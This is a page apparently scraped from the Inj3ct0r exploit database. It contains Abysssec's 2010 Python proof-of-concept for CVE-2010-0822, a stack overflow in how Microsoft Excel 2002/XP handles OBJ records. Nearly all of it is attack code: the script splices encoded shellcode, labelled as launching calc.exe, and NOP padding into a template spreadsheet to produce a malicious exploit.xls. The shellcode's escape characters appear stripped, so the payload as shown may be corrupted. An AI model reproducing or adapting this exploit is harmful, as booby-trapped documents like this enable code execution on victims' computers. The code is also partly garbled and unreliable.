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[local exploits] - Microsoft Excel OBJ Record Stack Overflow

Posted on 24 September 2010

<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'><html xmlns='http://www.w3.org/1999/xhtml'><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8' /><meta http-equiv='Content-Language' content='en' /><title>Microsoft Excel OBJ Record Stack Overflow | Inj3ct0r - exploit database : vulnerability : 0day : shellcode</title><meta name='description' content='Date: 24 Sep 2010 | Exploit category: local exploits | Exploit author: Abysssec | Inj3ct0r exploit database' /><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon' /><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss' /><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></head><body><pre>=========================================
Microsoft Excel OBJ Record Stack Overflow
=========================================

  Title               :  Microsoft Excel OBJ Record Stack Overflow
  Version             :  Excell 2002 and XP (SP3)
  Analysis            :  http://www.abysssec.com
  Vendor              :  http://www.microsoft.com
  Impact              :  Critical
  Contact             :  shahin [at] abysssec.com , info  [at] abysssec.com
  Twitter             :  @abysssec
  CVE                 :  CVE-2010-0822
 
&#039;&#039;&#039;
 
 
import sys
 
def main():
    
    try:
        fdR = open(&#039;src.xls&#039;, &#039;rb+&#039;)
        strTotal = fdR.read()
        str1 = strTotal[:36640]
        str2 = strTotal[37440:]
                 
        # shellcode calc.exe
        shellcode = &#039;x90x90x90x89xE5xD9xEExD9x75xF4x5Ex56x59x49x49x49x49x49x49x49x49x49x49x43x43x43x43x43x43x37x51x5Ax6Ax41x58x50x30x41x30x41x6Bx41x41x51x32x41x42x32x42x42x30x42x42x41x42x58x50x38x41x42x75x4Ax49x4Bx4Cx4Bx58x51x54x43x30x43x30x45x50x4Cx4Bx51x55x47x4Cx4Cx4Bx43x4Cx43x35x44x38x45x51x4Ax4Fx4Cx4Bx50x4Fx44x58x4Cx4Bx51x4Fx47x50x45x51x4Ax4Bx51x59x4Cx4Bx46x54x4Cx4Bx43x31x4Ax4Ex46x51x49x50x4Ax39x4Ex4Cx4Cx44x49x50x42x54x45x57x49x51x48x4Ax44x4Dx45x51x49x52x4Ax4Bx4Bx44x47x4Bx46x34x46x44x45x54x43x45x4Ax45x4Cx4Bx51x4Fx47x54x43x31x4Ax4Bx43x56x4Cx4Bx44x4Cx50x4Bx4Cx4Bx51x4Fx45x4Cx45x51x4Ax4Bx4Cx4Bx45x4Cx4Cx4Bx43x31x4Ax4Bx4Cx49x51x4Cx47x54x45x54x48x43x51x4Fx46x51x4Cx36x43x50x46x36x45x34x4Cx4Bx50x46x50x30x4Cx4Bx47x30x44x4Cx4Cx4Bx44x30x45x4Cx4Ex4Dx4Cx4Bx42x48x44x48x4Dx59x4Bx48x4Bx33x49x50x43x5Ax46x30x45x38x4Cx30x4Cx4Ax45x54x51x4Fx42x48x4Dx48x4Bx4Ex4Dx5Ax44x4Ex50x57x4Bx4Fx4Ax47x43x53x47x4Ax51x4Cx50x57x51x59x50x4Ex50x44x50x4Fx46x37x50x53x51x4Cx43x43x42x59x44x33x43x44x43x55x42x4Dx50x33x50x32x51x4Cx42x43x45x31x42x4Cx42x43x46x4Ex45x35x44x38x42x45x43x30x41x41&#039;
         
        if len(shellcode) &gt; 800:
            print &quot;[*] Error : Shellcode length is long&quot;
            return
        if len(shellcode) &lt;= 800:
            dif = 800 - len(shellcode)
            while dif &gt; 0 :
                shellcode += &#039;x90&#039;
                dif = dif - 1
                 
        fdW= open(&#039;exploit.xls&#039;, &#039;wb+&#039;)
        fdW.write(str1)    
        fdW.write(shellcode)
        fdW.write(str2)
         
        fdW.close()
        fdR.close()
        print &#039;[-] Excel file generated&#039;
    except IOError:
        print &#039;[*] Error : An IO error has occurred&#039;
        print &#039;[-] Exiting ...&#039;
        sys.exit(-1)
                 
if __name__ == &#039;__main__&#039;:
    main()


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-09-24]</pre></body></html>

 

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